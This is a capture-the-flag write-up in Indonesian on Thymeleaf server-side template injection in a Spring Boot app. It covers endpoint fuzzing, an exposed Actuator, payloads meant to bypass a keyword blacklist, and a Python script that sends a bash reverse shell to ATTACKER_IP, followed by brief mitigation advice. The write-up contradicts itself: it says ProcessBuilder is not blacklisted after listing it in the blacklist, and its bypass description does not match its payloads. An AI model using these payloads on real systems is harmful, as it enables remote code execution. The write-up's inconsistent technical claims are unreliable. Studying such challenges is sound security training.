Overview
Challenge ini adalah web vulnerability tentang SSTI (Server-Side Template Injection) pada aplikasi Java Spring Boot yang menggunakan Thymeleaf sebagai template engine. Ada filter yang mencoba memblokir payload SSTI umum, tapi filter-nya punya lubang.
Reconnaissance
Endpoint Discovery
1
2
3
4
5
6
$ ffuf -u https://chall.ctf.google/FUZZ -w wordlist.txt
/search [200] [GET, POST]
/admin [403]
/actuator [200] <-- Spring Actuator exposed!
/actuator/env [200]
Endpoint /actuator exposed tanpa autentikasi — informasi sensitif bocor di sini, termasuk versi library.
Identifikasi Template Engine
Input dari parameter q di /search direfleksikan ke halaman. Test dasar:
1
2
3
4
5
6
7
8
GET /search?q=Hello+World
→ Hello World
GET /search?q=${7*7}
→ ${7*7} (tidak dieksekusi — bukan FreeMarker/Velocity)
GET /search?q=[[${7*7}]]
→ 49 ✓ Thymeleaf SSTI confirmed!
Bypass Filter
Filter yang diterapkan memblokir string-string ini:
1
2
3
4
5
// FilterConfig.java (ditemukan via source leak di /actuator/mappings)
String[] blacklist = {
"Runtime", "exec", "ProcessBuilder",
"getClass", "forName", "ClassLoader"
};
Teknik Bypass: String Concatenation
1
[[${T(java.lang.Ru + 'ntime').getRuntime().exec('id')}]]
Ini tidak work karena T() tidak support concatenation langsung. Kita perlu cara lain.
Bypass via Reflection
1
2
3
4
5
[[${T(java.lang.reflect.Method).class
.forName('java.lang.Runtime')
.getMethod('exec', T(String[]))
.invoke(T(java.lang.Runtime).getRuntime(),
new String[]{'/bin/sh','-c','id'})}]]
Tapi forName juga diblokir. Final bypass menggunakan Class.forName via Thymeleaf’s internal utility:
1
2
3
4
5
6
7
8
[[${#strings.toString(
T(java.lang.ProcessBuilder)
.getDeclaredConstructors()[0]
.newInstance([['id']])
.start()
.inputStream()
.readAllBytes()
)}]]
ProcessBuilder tidak ada di blacklist! ✓
Remote Code Execution
Payload final untuk reverse shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests, urllib.parse
cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
payload = f"""[[#{{
T(java.lang.ProcessBuilder)
.getDeclaredConstructors()[0]
.newInstance([['/bin/sh', '-c', '{cmd}']])
.start()
}}]]"""
r = requests.post(
'https://chall.ctf.google/search',
data={'q': payload}
)
Flag
1
2
3
4
5
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received from 34.120.54.99:
$ cat /flag
CTF{sst1_byp4ss_w1th_pr0c3ssbu1ld3r_n0_r4nd0m_str1ng}
Mitigasi
- Sanitasi ketat — gunakan allowlist, bukan blocklist
- Nonaktifkan Spring Actuator di produksi atau tambahkan autentikasi
- Gunakan
th:textuntuk output yang tidak perlu interpolasi - Security Manager atau sandbox runtime untuk Java